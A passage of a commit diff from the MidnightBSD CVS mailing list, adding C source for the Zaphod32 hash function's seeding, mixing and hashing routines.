+     * http://turner.faculty.swau.edu/mathematics/materialslibrary/pi/pibases.html*/
+    /* Ensure that the three state vectors are nonzero regardless of the seed. */
+    /* The idea of these two steps is to ensure that the 0 state comes from a seed
+     * utterly unlike that of the value we replace it with.*/
+    state[0]= seed[0] ^ 0x43f6a888;
+    state[1]= seed[1] ^ 0x5a308d31;
+    state[2]= seed[2] ^ 0x3198a2e0;
+    if (!state[0]) state[0] = 1;
+    if (!state[1]) state[1] = 2;
+    if (!state[2]) state[2] = 4;
+    /* these are pseduo-randomly selected primes between 2**31 and 2**32
+     * (I generated a big list and then randomly chose some from the list) */
+    ZAPHOD32_SCRAMBLE32(state[0],0x9fade23b);
+    ZAPHOD32_SCRAMBLE32(state[1],0xaa6f908d);
+    ZAPHOD32_SCRAMBLE32(state[2],0xcdf6b72d);
+
+    /* now that we have scrambled we do some mixing to avalanche the
+     * state bits to gether */
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE A 1/4");
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE A 2/4");
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE A 3/4");
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE A 4/4");
+
+    /* and then scramble them again with different primes */
+    ZAPHOD32_SCRAMBLE32(state[0],0xc95d22a9);
+    ZAPHOD32_SCRAMBLE32(state[1],0x8497242b);
+    ZAPHOD32_SCRAMBLE32(state[2],0x9c5cc4e9);
+
+    /* and a thorough final mix */
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 1/5");
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 2/5");
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 3/5");
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 4/5");
+    ZAPHOD32_MIX(state[0],state[1],state[2],"ZAPHOD32 SEED-STATE B 5/5");
+
+}
+
+ZAPHOD32_STATIC_INLINE
+U32 zaphod32_hash_with_state(
+    const U8 *state_ch,
+    const U8 *key,
+    const STRLEN key_len
+) {
+    U32 *state= (U32 *)state_ch;
+    const U8 *end;
+    STRLEN len = key_len;
+    U32 v0= state[0];
+    U32 v1= state[1];
+    U32 v2= state[2] ^ (0xC41A7AB1 * ((U32)key_len + 1));
+
+    ZAPHOD32_WARN4("v0=%08x v1=%08x v2=%08x ln=%08x HASH START\n",
+            (unsigned int)state[0], (unsigned int)state[1],
+            (unsigned int)state[2], (unsigned int)key_len);
+    {
+        switch (len) {
+            default: goto zaphod32_read8;
+            case 12: v2 += (U32)key[11] << 24;  /* FALLTHROUGH */
+            case 11: v2 += (U32)key[10] << 16;  /* FALLTHROUGH */
+            case 10: v2 += (U32)U8TO16_LE(key+8);
+                     v1 -= U8TO32_LE(key+4);
+                     v0 += U8TO32_LE(key+0);
+                     goto zaphod32_finalize;
+            case 9: v2 += (U32)key[8];          /* FALLTHROUGH */
+            case 8: v1 -= U8TO32_LE(key+4);
+                    v0 += U8TO32_LE(key+0);
+                    goto zaphod32_finalize;
+            case 7: v2 += (U32)key[6];          /* FALLTHROUGH */
+            case 6: v0 += (U32)U8TO16_LE(key+4);
+                    v1 -= U8TO32_LE(key+0);
+                    goto zaphod32_finalize;
+            case 5: v0 += (U32)key[4];          /* FALLTHROUGH */
+            case 4: v1 -= U8TO32_LE(key+0);
+                    goto zaphod32_finalize;
+            case 3: v2 += (U32)key[2];          /* FALLTHROUGH */
+            case 2: v0 += (U32)U8TO16_LE(key);
+                    break;
+            case 1: v0 += (U32)key[0];
+                    break;
+            case 0: v2 ^= 0xFF;
+                    break;
+
+        }
+        v0 -= v2;
+        v2 = ROTL32(v2, 8) ^ v0;
+        v0 = ROTR32(v0,16) + v2;
+        v2 += v0;
+        v0 += v0 >> 9;
+        v0 += v2;
+        v2 ^= v0;
+        v2 += v2 << 4;
+        v0 -= v2;
+        v2 = ROTR32(v2, 8) ^ v0;
+        v0 = ROTL32(v0,16) ^ v2;
+        v2 = ROTL32(v2,10) + v0;
+        v0 = ROTR32(v0,30) + v2;
+        v2 = ROTR32(v2,12);
+        return v0 ^ v2;
+    }
+
+/*  if (len >= 8) */ /* this block is only reached by a goto above, so this condition
+                        is commented out, but if the above block is removed it would
+                        be necessary to use this. */
+    {
+zaphod32_read8:
+        len = key_len & 0x7;
+        end = key + key_len - len;
+        do {
+            v1 -= U8TO32_LE(key+0);
+            v0 += U8TO32_LE(key+4);
+            ZAPHOD32_MIX(v0,v1,v2,"MIX 2-WORDS A");
+            key += 8;
+        } while ( key < end );
+    }
+
+    if ( len >= 4 ) {
+        v1 -= U8TO32_LE(key);
+        key += 4;
+    }
+
+    v0 += (U32)(key_len) << 24;
+    switch (len & 0x3) {
+        case 3: v2 += (U32)key[2];          /* FALLTHROUGH */
+        case 2: v0 += (U32)U8TO16_LE(key);
+                break;
+        case 1: v0 += (U32)key[0];
+                break;
+        case 0: v2 ^= 0xFF;
+                break;
+    }
+zaphod32_finalize:
+    ZAPHOD32_FINALIZE(v0,v1,v2);
+
+    ZAPHOD32_WARN4("v0=%08x v1=%08x v2=%08x hh=%08x - FINAL\n\n",
+            (unsigned int)v0, (unsigned int)v1, (unsigned int)v2,
+            (unsigned int)v0 ^ v1 ^ v2);
+
+    return v0 ^ v1 ^ v2;
+}
+
+ZAPHOD32_STATIC_INLINE U32 zaphod32_hash(
+    const U8 *seed_ch,
+    const U8 *key,
+    const STRLEN key_len
+) {
+    U32 state[3];
+    zaphod32_seed_state(seed_ch,(U8*)state);
+    return zaphod32_hash_with_state((U8*)state,key,key_len);
+}
+
+#endif



More information about the Midnightbsd-cvs mailing list